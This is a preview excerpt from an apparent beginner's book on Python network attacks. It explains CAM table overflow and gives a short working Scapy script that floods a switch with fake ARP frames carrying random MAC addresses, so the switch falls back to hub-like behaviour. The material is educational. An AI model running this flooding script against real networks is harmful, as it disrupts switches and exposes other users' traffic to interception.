May 2018
Beginner
230 pages
4h 49m
English
When we send a large number of requests, as shown in the preceding diagram, if host A sends fake ARP requests with a different MAC, then the switch will make a new entry for port 1 each time, such as A—1, X—1, and Y—1. With these fake entries, the CAM table will become full, and the switch will start behaving like a hub.
Now, let's write the code as follows:
from scapy.all import *
num = int(raw_input("Enter the number of packets "))
interface = raw_input("Enter the Interface ")
eth_pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
arp_pkt=ARP(pdst='192.168.1.255',hwdst="ff:ff:ff:ff:ff:ff")
try:
sendp(eth_pkt/arp_pkt,iface=interface,count =num, inter= .001)
except :
print "Destination Unreachable "
The preceding code ...
Read now
Unlock full access